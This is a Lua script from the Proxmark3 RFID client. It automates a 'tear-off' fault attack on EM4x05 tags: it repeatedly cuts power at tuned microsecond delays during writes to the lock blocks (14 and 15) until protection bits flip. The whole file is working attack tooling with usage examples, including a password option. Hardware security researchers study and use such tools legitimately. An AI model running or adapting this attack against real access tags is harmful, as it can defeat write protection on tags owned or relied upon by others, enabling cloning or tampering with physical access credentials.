text
[RRG-proxmark3.git] / client / luascripts / lf_em_tearoff_protect.lua
blobce4c172851ff866d8a6fa89113507ac8603f6121
1 local getopt = require('getopt')
2 local ansicolors = require('ansicolors')
4 copyright = 'Iceman'
5 author = [[
6 'Author Iceman
7 CoAuthor Doegox
8 ]]
9 version = 'v1.0.2'
10 desc = [[
11 This is scripts loops though a tear attack and reads expected value.
13 example = [[
14 Full automatic, with password:
15 script run lf_em_tearoff_protect -p 50524F58
17 Manual fix increment over specified range:
18 script run lf_em_tearoff_protect -n 2 -s 200 -e 400
20 Trying repeatedly for a fixed timing, forever or till success:
21 script run lf_em_tearoff_protect -s 400 -e 400
23 Tips:
24 Use a low Q antenna
25 Move card somehow away from the antenna to a position where it still works
27 usage = [[
28 script run lf_em_tearoff_protect [-h] [-n <steps us>] [-p <pwd>] [-s <start us>] [-e <end us>]
30 arguments = [[
31 -h This help
32 -n <steps us> steps in milliseconds for each tear-off
33 -p <pwd> (optional) use a password
34 -s <delay us> initial start delay
35 -e <delay us> end delay, must be larger or equal to start delay
36 end
39 local set_tearoff_delay = 'hw tearoff --on --delay %d'
40 local wr_template = 'lf em 4x05 write --po -d %s -p %s'
42 ---
43 -- This is only meant to be used when errors occur
44 local function oops(err)
45 print('ERROR:', err)
46 core.clearCommandBuffer()
47 return nil, err
48 end
49 ---
50 -- Usage help
51 local function help()
52 print(copyright)
53 print(author)
54 print(version)
55 print(desc)
56 print(ansicolors.cyan..'Usage'..ansicolors.reset)
57 print(usage)
58 print(ansicolors.cyan..'Arguments'..ansicolors.reset)
59 print(arguments)
60 print(ansicolors.cyan..'Example usage'..ansicolors.reset)
61 print(example)
62 end
64 local function exit_msg()
65 print('')
66 print('================= '..ansicolors.green..'verify with'..ansicolors.reset..' =================')
67 print(' lf em 4x05_dump')
68 print('===============================================')
69 return nil
70 end
72 local function reset(wr_value, password)
73 print('[=] '..ansicolors.red..'resetting the active lock block'..ansicolors.reset)
74 core.console(wr_template:format(wr_value, password))
75 end
77 local function main(args)
79 --[[
80 Basically it does the following,
82 1. hw tear
83 2. lf em 4x05_write
84 3. lf em 4x05_read
86 The first two commands don't need a feedback from the system, so going with core.console commands.
87 Since the read needs demodulation of signal I opted to add that function from cmdlfem4x.c to the core lua scripting
88 core.em4x05_read(addr, password)
90 --]]
91 local n, password, sd, ed
93 for o, a in getopt.getopt(args, 'he:s:p:n:') do
94 if o == 'h' then return help() end
95 if o == 'n' then n = tonumber(a) end
96 if o == 'p' then password = a end
97 if o == 'e' then ed = tonumber(a) end
98 if o == 's' then sd = tonumber(a) end
99 end
101 password = password or ''
102 if #password ~= 8 then
103 password = ''
106 local word14, err14 = core.em4x05_read(14, password)
107 if err14 then
108 return oops(err14)
110 local word15, err15 = core.em4x05_read(15, password)
111 if err15 then
112 return oops(err15)
114 local bit15 = bit.band(0x00008000, word15)
115 if bit15 == 0x00008000 then
116 rd_value = ('%08X'):format(word15)
117 reset(wr_value, password)
118 else
119 rd_value = ('%08X'):format(word14)
121 if rd_value == '00008000' then
122 print('Tag already fully unlocked, nothing to do')
123 return nil
125 local wr_value = '00000000'
126 local auto = false
127 if n == nil then
128 auto = true
129 sd = sd or 2000
130 ed = ed or 6000
131 n = (ed - sd) / 2
132 else
133 if sd == nil or ed == nil then
134 return oops('start and stop delays need to be defined')
136 if sd > ed then
137 return oops('start delay can\'t be larger than end delay', sd, ed)
141 print('==========================================')
142 print('Starting EM4x05 tear-off : target PROTECT')
144 if password ~= '' then
145 print('target pwd', password)
147 if auto then
148 print('automatic mode', 'enabled')
150 print('target stepping', n)
151 print('target delay', sd ,ed)
152 print('read value', rd_value)
153 print('write value', wr_value)
154 print('==========================================')
156 local res_tear = 0
157 local res_nowrite = 0
159 -- fix at one specific delay
160 if sd == ed then
161 n = 0
164 local tries = 0
165 local soon = 0
166 local late = 0
167 while sd <= ed do
169 if auto and n < 1 then -- n is a float
170 print('[!] Reached n < 1 => '..ansicolors.yellow..'disabling automatic mode'..ansicolors.reset)
171 ed = sd
172 auto = false
173 n = 0
175 if not auto then
176 sd = sd + n
178 if (tries >= 5) and (n == 0) and (soon ~= late) then
179 if soon > late then
180 print(('[!] Tried %d times, soon:%i late:%i => '):format(tries, soon, late)..ansicolors.yellow..'adjusting delay by +1 us'..ansicolors.reset)
181 sd = sd + 1
182 ed = ed + 1
183 else
184 print(('[!] Tried %d times, soon:%i late:%i => '):format(tries, soon, late)..ansicolors.yellow..'adjusting delay by -1 us'..ansicolors.reset)
185 sd = sd - 1
186 ed = ed - 1
188 tries = 0
189 soon = 0
190 late = 0
193 io.flush()
194 if core.kbd_enter_pressed() then
195 print("aborted by user")
196 break
199 core.clearCommandBuffer()
201 local c = set_tearoff_delay:format(sd)
202 core.console(c);
204 c = wr_template:format(wr_value, password)
205 core.console(c)
207 word14, err14 = core.em4x05_read(14, password)
208 if err14 then
209 return oops(err14)
212 local wordstr14 = ('%08X'):format(word14)
214 word15, err15 = core.em4x05_read(15, password)
215 if err15 then
216 return oops(err15)
219 local wordstr15 = ('%08X'):format(word15)
221 print(('[=] ref:'..rd_value..' 14:%08X 15:%08X '):format(word14, word15))
224 if wordstr14 == rd_value and wordstr15 == '00000000' then
225 print('[=] Status: Nothing happened => '..ansicolors.green..'tearing too soon'..ansicolors.reset)
226 if auto then
227 sd = sd + n
228 n = n / 2
229 print(('[+] Adjusting params: n=%i sd=%i ed=%i'):format(n, sd, ed))
230 else
231 soon = soon + 1
233 else
234 if wordstr15 == rd_value then
235 if wordstr14 == '00000000' then
236 print('[=] Status: Protect succeeded => '..ansicolors.green..'tearing too late'..ansicolors.reset)
237 else
238 if wordstr14 == rd_value then
239 print('[=] Status: 15 ok, 14 not yet erased => '..ansicolors.green..'tearing too late'..ansicolors.reset)
240 else
241 print('[=] Status: 15 ok, 14 partially erased => '..ansicolors.green..'tearing too late'..ansicolors.reset)
244 reset(wr_value, password)
245 -- it could still happen that a bitflip got committed, let's check...
246 local word14b, err14b = core.em4x05_read(14, password)
247 if err14b then
248 return oops(err14b)
250 local wordstr14b = ('%08X'):format(word14b)
251 if (wordstr14b == '00000000') then
252 reset(wr_value, password)
253 word14b, err14b = core.em4x05_read(14, password)
254 if err14b then
255 return oops(err14b)
258 if (wordstr14b ~= rd_value) then
259 local word15b, err15b = core.em4x05_read(15, password)
260 if err15b then
261 return oops(err15b)
263 print(('[=] Status: new definitive value! => '..ansicolors.red..'SUCCESS: '..ansicolors.reset..'14: '..ansicolors.cyan..'%08X'..ansicolors.reset..' 15: %08X'):format(word14b, word15b))
264 return exit_msg()
266 if auto then
267 ed = sd
268 sd = sd - n
269 n = n / 2
270 print(('[+] Adjusting params: n=%i sd=%i ed=%i'):format(n, sd, ed))
271 else
272 late = late + 1
274 else
275 bit15 = bit.band(0x00008000, word15)
276 if bit15 == 0x00008000 then
277 print(('[=] Status: 15 bitflipped and active => '..ansicolors.red..'SUCCESS?: '..ansicolors.reset..'14: %08X 15: '..ansicolors.cyan..'%08X'..ansicolors.reset):format(word14, word15))
278 print('[+] Committing results...')
279 reset(wr_value, password)
280 local word14b, err14b = core.em4x05_read(14, password)
281 if err14b then
282 return oops(err14b)
284 local wordstr14b = ('%08X'):format(word14b)
285 local word15b, err15b = core.em4x05_read(15, password)
286 if err15b then
287 return oops(err15b)
289 local wordstr15b = ('%08X'):format(word15b)
290 print(('[=] ref:'..rd_value..' 14:%08X 15:%08X '):format(word14b, word15b))
292 bit15 = bit.band(0x00008000, word14b)
293 if bit15 == 0x00008000 then
294 if (wordstr14b == wordstr15) then
295 print(('[=] Status: confirmed => '..ansicolors.red..'SUCCESS: '..ansicolors.reset..'14: '..ansicolors.cyan..'%08X'..ansicolors.reset..' 15: %08X'):format(word14b, word15b))
296 return exit_msg()
298 if (wordstr14b ~= rd_value) then
299 print(('[=] Status: new definitive value! => '..ansicolors.red..'SUCCESS: '..ansicolors.reset..'14: '..ansicolors.cyan..'%08X'..ansicolors.reset..' 15: %08X'):format(word14b, word15b))
300 return exit_msg()
302 print(('[=] Status: failed to commit bitflip => '..ansicolors.red..'FAIL: '..ansicolors.reset..'14: %08X 15: %08X'):format(word14b, word15b))
303 else
304 print(('[=] Status: failed to commit => '..ansicolors.red..'FAIL: '..ansicolors.reset..'14: %08X 15: %08X'):format(word14b, word15b))
306 if auto then
307 n = 0
308 ed = sd
309 else
310 tries = 0
311 soon = 0
312 late = 0
314 else
315 print(('[=] Status: 15 bitflipped but inactive => '..ansicolors.yellow..'PROMISING: '..ansicolors.reset..'14: %08X 15: '..ansicolors.cyan..'%08X'..ansicolors.reset):format(word14, word15))
319 if not auto then
320 tries = tries + 1
325 --[[
326 In the future, we may implement so that scripts are invoked directly
327 into a 'main' function, instead of being executed blindly. For future
328 compatibility, I have done so, but I invoke my main from here.
329 --]]
330 main(args)